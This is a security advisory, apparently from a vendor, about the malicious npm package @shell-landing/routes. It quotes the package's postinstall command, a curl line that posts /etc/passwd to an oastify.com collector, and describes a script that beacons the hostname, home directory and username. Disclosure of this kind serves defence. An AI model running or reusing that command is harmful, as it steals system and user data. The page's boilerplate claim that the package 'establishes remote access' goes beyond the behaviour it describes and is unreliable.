@shell-landing/routesnpm
Malicious code in @shell-landing/routes (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
On npm install, the package's postinstall hook runs node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com. The curl invocation POSTs the contents of /etc/passwd to an attacker-controlled Burp Collaborator subdomain, embedding the installer's hostname in the request. The companion script scripts/scream3gg.js hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and beacons each as an HTTP GET subdomain of *.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com. The package contains no library code, no README, and no main entry — version 99.9.5 with a pure-exfil payload under the @shell-landing scope is consistent with a dependency-confusion probe targeting an internal package name. Any developer or CI running npm install will leak host identity and /etc/passwd to attacker infrastructure.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @shell-landing/routes (version 99.9.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @shell-landing/routes across your stack and pipelines.
If you installed it — respond
@shell-landing/routes establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If @shell-landing/routes was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @shell-landing/routes before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @shell-landing/routes-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.